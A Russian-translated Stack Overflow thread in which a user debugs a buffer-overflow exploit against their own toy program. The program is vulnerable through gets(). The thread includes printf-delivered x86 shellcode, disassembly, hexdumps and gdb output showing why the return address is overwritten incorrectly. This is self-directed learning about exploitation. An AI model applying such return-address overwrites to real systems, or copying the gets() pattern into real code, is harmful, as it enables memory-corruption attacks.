Hex Format Specifier дает непредсказуемые результаты в шеллкоде

Я пытаюсь внедрить шелл-код в базовую программу, которую я сделал, которая принимает пользовательский ввод. Моя проблема в том, что хотя я правильно выстроил свой шелл-код, так что я могу переписать адрес возврата в стеке, правильный адрес не сохраняется в этом месте. Я напечатал свой шелл-код, за которым последовало вычисленное заполнение, а затем адрес того места, где мой шелл-код будет расположен в стеке.

      $ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41 
      \x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80
      \xf4%025x\x5e\xf3\xff\xbf" | ./victim

Адрес, который я пытаюсь перезаписать обратным адресом, — 0xbffff35e. Тем не менее, когда я запускаю это в gdb, происходит ошибка сегментации, потому что часть «5e» неправильно кодируется в моем стеке.

Я получаю это в gdb:

    Program terminated with signal 11, Segmentation fault.
    #0  0xbffff365 in ?? ()

Моя программа должна выполнять инструкции по адресу 0xbffff35e, но она записывается с «65» вместо того места, где должен быть байт «5e». Я правильно использую спецификатор шестнадцатеричного формата, так почему это происходит? Кажется, что все остальные байты записаны правильно, кроме шестнадцатеричного байта \x5e.

EDIT: Вот код моей жертвы. Все, что я хочу сделать, это внедрить шелл-код, чтобы он печатал «ACCEPTED» вместо перехода к следующей строке, где он печатает «DENIED».

    void getPass() {
      char password[50];
      gets(password);
    }


    int main() {

      printf("Please enter your password: \n");
      getPass();
      printf("PASSWORD DENIED\n");
      return 0;

    }

Дизассемблирование моего кода жертвы

    (gdb) disas getPass
    Dump of assembler code for function getPass:
      0x080482bc <+0>:  push   %ebp
      0x080482bd <+1>:  mov    %esp,%ebp
      0x080482bf <+3>:  sub    $0x58,%esp
      0x080482c2 <+6>:  lea    -0x3a(%ebp),%eax
      0x080482c5 <+9>:  mov    %eax,(%esp)
      0x080482c8 <+12>: call   0x8049370 <gets>
      0x080482cd <+17>: leave  
      0x080482ce <+18>: ret    

 (gdb) disas main
 Dump of assembler code for function main:
     0x080482cf <+0>:   push   %ebp
     0x080482d0 <+1>:   mov    %esp,%ebp
     0x080482d2 <+3>:   and    $0xfffffff0,%esp
     0x080482d5 <+6>:   sub    $0x10,%esp
     0x080482d8 <+9>:   movl   $0x80b314c,(%esp)
     0x080482df <+16>:  call   0x8049510 <puts>
     0x080482e4 <+21>:  call   0x80482bc <getPass>
     0x080482e9 <+26>:  movl   $0x80b3169,(%esp)
     0x080482f0 <+33>:  call   0x8049510 <puts>
     0x080482f5 <+38>:  mov    $0x0,%eax
     0x080482fa <+43>:  leave  
     0x080482fb <+44>:  ret    

person user3907641    schedule 05.08.2014    source источник
comment
Большинство шеллкодов используют неопределенное поведение. Проблема с этим заключается в том, что это по-прежнему будет неопределенным поведением и не будет работать, если шелл-код не создан для конкретной версии программы-жертвы. Даже пересборка программы-жертвы может привести к тому, что эксплойт перестанет работать.   -  person Some programmer dude    schedule 05.08.2014
comment
Вы пытаетесь запустить это в версии Linux SE (Security Enhanced)? Если это так, вы никогда не добьетесь успеха. Расположение стека рандомно.   -  person wallyk    schedule 05.08.2014
comment
Нет, я уже отключил ASLR и DEP. У меня есть другие подобные эксплойты переполнения буфера, которые я сделал, которые работали с настройками, которые у меня есть сейчас. Это просто тот случай, когда это, кажется, не работает.   -  person user3907641    schedule 05.08.2014
comment
Ох, ладно. Что делает ./victim?   -  person wallyk    schedule 05.08.2014
comment
@wallyk Я разместил ./victim в своем редактировании   -  person user3907641    schedule 05.08.2014
comment
Не используйте устаревшее gets ; минимум fgets или лучше getline   -  person Basile Starynkevitch    schedule 05.08.2014
comment
@BasileStarynkevitch смысл этого вопроса заключается в использовании устаревшего gets   -  person Drew McGowen    schedule 05.08.2014


Ответы (1)


Вывод этого printf

[wally@lenovoR61 ~]$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> | hexdump -C
00000000  e8 09 00 00 00 41 43 43  45 50 54 45 44 6e 59 c6  |.....ACCEPTEDnY.|
00000010  41 08 00 ba 08 00 00 00  bb 01 00 00 00 b8 04 00  |A...............|
00000020  00 00 0c 80 f4 30 30 30  30 30 30 30 30 30 30 30  |.....00000000000|
00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 30 5e f3  |00000000000000^.|
00000040  ff bf                                             |..|
00000042

Итак, начиная с байта 50, есть это:

00000032        30 30 30 30 30 30  30 30 30 30 30 30 5e f3  |  000000000000^.|
00000040  ff bf                                             |..|
00000042

Итак, есть куча 30, где должны быть сохраненные ebp и обратный адрес. Инструкции для getPass() следующие:

getPass:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $88, %esp
        leal    -58(%ebp), %eax
        movl    %eax, (%esp)
        call    gets
        leave
        ret

Таким образом, leave изменяет «восстановленное» ebp на 0x30303030, так как эта часть стека была перезаписана им. Адрес возврата ниже этого, тоже 0x30303030, по крайней мере, в 32-битном коде x86.

Я ожидаю, что это всегда будет segfault, даже в SELinux.


Приложение:

Что ж, желаемый адрес, кажется, работает для меня. Чтобы настроить это так, чтобы gdb мог просматривать фрейм стека, я записал данные в файл и изменил victim.c, чтобы вместо этого читать их:

$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> >victim.txt

$ cat victim.c
#include <stdio.h>

void getPass()
{
    char password[50];
    gets(password);
}

int main()
{
    FILE *f = freopen ("victim.txt", "r", stdin);
    printf("Please enter your password: \n");
    getPass();
    printf("PASSWORD DENIED\n");
    return 0;
}
$ gdb victim
 ...
Temporary breakpoint 1, main () at victim.c:12
12      FILE *f = freopen ("victim.txt", "r", stdin);
(gdb) next
13      printf("Please enter your password: \n");
(gdb) 
Please enter your password: 
14      getPass();
(gdb) step
getPass () at victim.c:6
6       gets(password);
(gdb) bt
#0  getPass () at victim.c:7
#1  0xbffff35e in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) step
Cannot access memory at address 0x30303034

Что показывает, что он возвращается к 0x30303030. Что вы получаете?

person wallyk    schedule 05.08.2014
comment
Благодарю за ваш ответ. Я это очень ценю. Но я все еще не понимаю, как я получил 65 вместо 5e, когда я вводил свой шелл-код в свою жертву. Я сделал printf ...шеллкод и отступы опущены...\x5e\xf3\xff\xbf и вместо 0xbffff35e, сохраняемого в стеке, сохраняется 0xbffff365. Я уверен, что адрес возврата не перезаписывается 0x30303030, потому что когда я запускаю код в gdb, он пытается выполнить инструкции по адресу 0x0xbffff365 (именно здесь происходит ошибка сегментации). Если бы я мог просто заменить «65» на «5e», я думаю, это было бы исправлено. - person user3907641; 05.08.2014
comment
Чтобы пояснить, что я говорил в комментарии выше, адрес возврата перезаписывается 0x0xbffff365, что вызывает ошибку сегментации. Проблема не в том, правильно ли я выровнял байты шелл-кода, а в том, почему вместо шестнадцатеричного 5e записывается неправильный байт (65 hex). Как будто спецификатор шестнадцатеричного формата '\x' вызывает здесь проблемы. - person user3907641; 05.08.2014
comment
кроме того, я обновил свой пост, чтобы показать разборку моего кода ./victim - person user3907641; 05.08.2014
comment
@ user3907641: я добавил к своему ответу. - person wallyk; 05.08.2014
comment
В gdb я получаю это. Я не совсем уверен, как это интерпретировать, поскольку он включает в себя как шестнадцатеричный код 0xbffff365, так и полученный вами номер 0x30303034. Как это читается для вас? Кроме того, большое спасибо. Program terminated with signal 11, Segmentation fault. #0 0xbffff365 in ?? () (gdb) where #0 0xbffff365 in ?? () Cannot access memory at address 0x30303034 - person user3907641; 05.08.2014